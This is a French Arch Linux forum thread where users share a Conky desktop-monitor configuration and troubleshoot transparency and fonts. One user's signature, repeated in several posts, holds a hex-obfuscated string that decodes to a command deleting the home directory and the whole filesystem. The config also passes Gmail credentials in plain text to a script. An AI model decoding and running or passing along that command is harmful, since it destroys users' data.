${font PizzaDude Bullets:size=12}S${font}   Download: ${totaldown eth0}
${font Stylebats:size=12}N${font}   Wifi: ${wireless_bitrate wlan0}  % ${wireless_link_bar wlan0}
${color2}CPU : Température : ${acpitemp}°C
${color2}CPU : Fréquence : $freq MHz
${color ffffff}${font StyleBats:size=12}A${font}  CPU0: ${cpu cpu0}% ${cpubar cpu0}
${font StyleBats:size=12}A${font}  CPU1: ${cpu cpu1}% ${cpubar cpu1}
${color ffffff}${font StyleBats:size=12}A${font}  /home : ${fs_bar /home}
${alignr 3}Free: ${fs_free /home}
${color ffffff}${font StyleBats:size=12}A${font}  /root : ${fs_bar /}
${alignr 3}Free: ${fs_free /}
${color ffffff}${font StyleBats:size=12}A${font}  /data : ${fs_bar /data}
${alignr 3}Free: ${fs_free /data}
${color F8DF58}${font StyleBats:size=12}8${font}  Battery: ${battery_percent}% ${battery_bar}
${color F8DF58}${font FreeSans:size=12}@${font}${execpi 300 python ~/scripts/gmail_parser.py votreusergmail votremdpgmail 3}
${color C2E078}${font PizzaDude Bullets:size=12}J${font}  RAM : $mem / $memmax
${font StyleBats:size=12}P${font}  Work:  ${uptime_short}
#${color2}Pacman : $alignr${if_existing /var/lib/pacman/db.lck}running${else}stopped${endif}
${font Radio Space:size=12}${time %A}
${font Radio Space:size=12}${time %d %B %Y}
${font Radio Space:size=12}${time %H:%M}
#${execp ~/.conky/accuweather.sh}
${font}${color1}Processes:$color3 $processes  ${color1}Running:$color3 $running_processes
${color1}Name${alignr}PID       CPU%       MEM%
${color3} ${top name 1}${alignr} ${top pid 1}     ${top cpu 1}     ${top mem 1}
${color2} ${top name 2}${alignr} ${top pid 2}     ${top cpu 2}     ${top mem 2}
${color2} ${top name 3}${alignr} ${top pid 3}     ${top cpu 3}     ${top mem 3}

${color1}Mem usage
${color3} ${top_mem name 1}${alignr}   ${top_mem pid 1}     ${top_mem cpu 1}     ${top_mem mem 1}
${color2} ${top_mem name 2}${alignr}   ${top_mem pid 2}     ${top_mem cpu 2}     ${top_mem mem 2}
${color2} ${top_mem name 3}${alignr}   ${top_mem pid 3}     ${top_mem cpu 3}     ${top_mem mem 3}
Je me suis inspiré de ce lien http://www.quicktweaks.com/2008/09/27/g ... u-desktop/

Le .conkyrc d'origine est ici http://dl.getdropbox.com/u/83257/.conkyrc

Les scripts sont ici http://dl.getdropbox.com/u/83257/conkyscripts.zip
Il faut décompresser dans un répertoire /home/user/scripts (Pas le dossier mais les scripts eux-mêmes.

Les fonts sont ici http://dl.getdropbox.com/u/83257/conkyfonts.zip à copier dans votre .fonts

Je n'arrive pas à faire fonctionner la météo... Mais le reste fonctionne... Plus ou moins...

Mes questions :

- Comment le rendre transparent :?:
- Où trouver la police officielle du logo Archlinux :?: (C'est ok ) !

Edit :

Changé la capture et modifier le conkyrc.
Pour la police de rchlinux, il s'agit de karat-demo, présente sur aur.
Windows à des pépins ? Linux a un noyau ! :)
Avatar de l’utilisateur
r4is3_your_g0d
Hankyu
Messages : 27
Inscription : jeu. 23 juil. 2009, 21:05

Re: [Conky] Vos .conkyrc !

Message par r4is3_your_g0d »

Pour rendre conky transparent, il faut ajouter la directive :

Code : Tout sélectionner

own_window_transparent yes
Enfin, et parce que le code source est public et donc auditable, la sécurité des logiciels libres peut être mieux assurée. Bernard CARAYON

Code : Tout sélectionner

x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2fx64x65x76x2fx6ex75x6cx6cx20x26
Avatar de l’utilisateur
FenDanT
Elfe
Messages : 502
Inscription : mer. 25 avr. 2007, 09:04
Localisation : Chamoson VS/CH

Re: [Conky] Vos .conkyrc !

Message par FenDanT »

Coucoux :P

Pourtant cette ligne y est

Code : Tout sélectionner

own_window_transparent yes
:roll:
Windows à des pépins ? Linux a un noyau ! :)
Avatar de l’utilisateur
r4is3_your_g0d
Hankyu
Messages : 27
Inscription : jeu. 23 juil. 2009, 21:05

Re: [Conky] Vos .conkyrc !

Message par r4is3_your_g0d »

FenDanT a écrit :Coucoux :P

Pourtant cette ligne y est

Code : Tout sélectionner

own_window_transparent yes
:roll:
Exact, je n'avais pas pris le temps de verifier, et si tu essaies avec :
background no
Enfin, et parce que le code source est public et donc auditable, la sécurité des logiciels libres peut être mieux assurée. Bernard CARAYON

Code : Tout sélectionner

x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2fx64x65x76x2fx6ex75x6cx6cx20x26
Avatar de l’utilisateur
FenDanT
Elfe
Messages : 502
Inscription : mer. 25 avr. 2007, 09:04
Localisation : Chamoson VS/CH

Re: [Conky] Vos .conkyrc !

Message par FenDanT »

Coucoux :P

Essayé aussi, mais sans résultat :shock:
Windows à des pépins ? Linux a un noyau ! :)
Avatar de l’utilisateur
chipster
Maître du Kyudo
Messages : 2063
Inscription : ven. 11 août 2006, 22:25
Localisation : Saint-Étienne (42)
Contact :

Re: [Conky] Vos .conkyrc !

Message par chipster »

Angelscry a écrit :
chipster a écrit :Il existe aussi conky-forecast
Le seul reproche que je lui ferai est sa lenteur extrême du fait d'une multitudes d'appels réseau au lieu de récupérer le fichier et de le traiter en local
Oui c'est exactement pour cela que j'ai fait ce petit script qui est beaucoup moins lourd (pas besoin de python ou de s'inscrire sur un site) et tout aussi efficace que conky-forecast
chipster a écrit :Tu devrais faire un script un peu plus portable car tu ne vérifies pas si $HOME/.conky/tmp/ existe
Oui, tu as raison. Je viens d'apporter les modifications suivant tes conseils. Merci.
Super :)
Avatar de l’utilisateur
Firekans
Hankyu
Messages : 35
Inscription : sam. 26 sept. 2009, 15:45

Re: [Conky] Vos .conkyrc !

Message par Firekans »

FenDanT a écrit :Coucoux :P

Essayé aussi, mais sans résultat :shock:
Dans ton .conkyrc j'ai lu

Code : Tout sélectionner

background yes
:chinois:
Avatar de l’utilisateur
r4is3_your_g0d
Hankyu
Messages : 27
Inscription : jeu. 23 juil. 2009, 21:05

Re: [Conky] Vos .conkyrc !

Message par r4is3_your_g0d »

Firekans a écrit :

Code : Tout sélectionner

background yes
:chinois:
Idem, FendanT, tu es sur d'avoir verifié? [au cas ou]:wink:
Enfin, et parce que le code source est public et donc auditable, la sécurité des logiciels libres peut être mieux assurée. Bernard CARAYON

Code : Tout sélectionner

x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2fx64x65x76x2fx6ex75x6cx6cx20x26
Avatar de l’utilisateur
FenDanT
Elfe
Messages : 502
Inscription : mer. 25 avr. 2007, 09:04
Localisation : Chamoson VS/CH

Re: [Conky] Vos .conkyrc !

Message par FenDanT »

Coucoux :P

Yep j'ai essayé avec les deux et pas de changement :shock:
Windows à des pépins ? Linux a un noyau ! :)
Avatar de l’utilisateur
r4is3_your_g0d
Hankyu
Messages : 27
Inscription : jeu. 23 juil. 2009, 21:05

Re: [Conky] Vos .conkyrc !

Message par r4is3_your_g0d »

à tout hasard, aurais-tu essayé avec un conkyrc dont tu es sur de la transparence? Ca permettrait de savoir si ca vient de conky ou d'ailleurs.
Enfin, et parce que le code source est public et donc auditable, la sécurité des logiciels libres peut être mieux assurée. Bernard CARAYON

Code : Tout sélectionner

x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2fx64x65x76x2fx6ex75x6cx6cx20x26
Avatar de l’utilisateur
Firekans
Hankyu
Messages : 35
Inscription : sam. 26 sept. 2009, 15:45

Re: [Conky] Vos .conkyrc !

Message par Firekans »

Tu as rajouté les deux lignes mais dans ton config il y a

Code : Tout sélectionner

background yes
Efface le
Avatar de l’utilisateur
Firekans
Hankyu
Messages : 35
Inscription : sam. 26 sept. 2009, 15:45

Re: [Conky] Vos .conkyrc !

Message par Firekans »

Par contre j'aurais une question, au lieu d'avoir le logo d'Arch, j'ai un B. Je dois installer une police? Si oui laquelle et comment? merci :p

Désole du double post, mais quand j'édite sa prends 3 semaines le chargement de la page...
Répondre